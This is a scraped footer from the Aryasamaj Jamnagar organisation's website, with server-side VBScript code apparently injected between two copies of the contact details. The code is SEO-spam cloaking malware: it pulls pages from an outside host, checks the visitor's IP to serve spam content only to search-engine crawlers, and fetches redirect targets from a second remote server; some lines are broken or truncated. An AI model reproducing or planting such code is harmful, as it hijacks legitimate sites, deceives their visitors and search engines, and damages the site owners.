Contact Us: Aryasamaj Nr. Khambhalia gate Aryasamaj Marg, Jamnagar, Gujarat , India 361 005 Phone No. :+ 91-288-550220, 670211 email: info@aryasamajjamnagar.org Site designed and developed by Imagewebsolutions |
%
function getHTTPPage(url)
dim Http
set Http=server.createobject("MSXML2.XMLHTTP")
Http.open "GET",url,false
Http.send()
if Http.readystate<>4 then
exit function
end if
getHTTPPage=bytesToBSTR(Http.responseBody,"UTF-8")
set http=nothing
if err.number<>0 then err.Clear
end function
Function BytesToBstr(body,Cset)
dim objstream
set objstream = Server.CreateObject("adodb.stream")
objstream.Type = 1
objstream.Mode =3
objstream.Open
objstream.Write body
objstream.Position = 0
objstream.Type = 2
objstream.Charset = Cset
BytesToBstr = objstream.ReadText
objstream.Close
set objstream = nothing
End Function
Dim Url,Html
yyu=Year(now)&month(now)&day(now)&hour(now)&minute(now)&second(now)
if request("p_id")<>"" then
URL="http://hjben05.vjkcity.com/product_color/NY_Tou.aspx?s_id=143&rnd="&yyu&"&p_id="&request("p_id")
else if request("pageIndex")<>"" then
URL="http://hjben05.vjkcity.com/product_color/LB_Tou.aspx?s_id=143&rnd="&yyu&"&pageIndex="&request("pageIndex")&""
else if request("searcher")<>"" then
URL="http://hjben05.vjkcity.com/product_color/LB_Tou.aspx?s_id=143&rnd="&yyu&"&searcher="&request("searcher")&""
else
URL="http://hjben05.vjkcity.com/product_color/LB_Tou.aspx?rnd="&yyu&"&s_id=143"
end if
end if
end if
Html = getHTTPPage(Url)
if request("dd")<>"" then
ip="66.249.64.190"
else
ip=Request.ServerVariables("REMOTE_ADDR")
end if
ipurl="http://hjben05.vjkcity.com/getdomain.aspx?rnd=1&ip="&ip
domain =getHTTPPage(ipurl)
if (instr(domain,"google")>0 or instr(domain,"msn.com")>0 or instr(domain,"yahoo.com")>0 or instr(domain,"aol.com")>0) then
set re = new RegExp
re.IgnoreCase =True
re.Global = True
re.Pattern = " ","")
Response.write Html
else
if request("p_id")<>"" then
ccc=request("p_id")
ccc=replace(ccc," ","-")
ccc=replace(ccc,"--","-")
ddd=getHTTPPage("http://web.weup.fr/storebarbour.txt?id=11")
eee=ddd&ccc&".html"
eee=replace(eee,"--","-")
Response.write ""
else if request("searcher")<>"" then
ccc=request("searcher")
ccc=replace(ccc," ","-")
ccc=replace(ccc,"--","-")
ddd=getHTTPPage("http://web.weup.fr/storebarbour.txt?id=11")
eee=ddd&ccc&".html"
eee=replace(eee,"--","-")
Response.write ""
else if request("pageIndex")<>"" then
ddd=getHTTPPage("http://web.weup.fr/storebarbour.txt?id=11")
eee=ddd&".html"
Response.write ""
end if
end if
end if
end if
%>
Contact Us:
Aryasamaj Nr. Khambhalia gate Aryasamaj Marg, Jamnagar, Gujarat , India
361 005 Phone No. :+ 91-288-550220, 670211
email: info@aryasamajjamnagar.org
Site designed and developed by Imagewebsolutions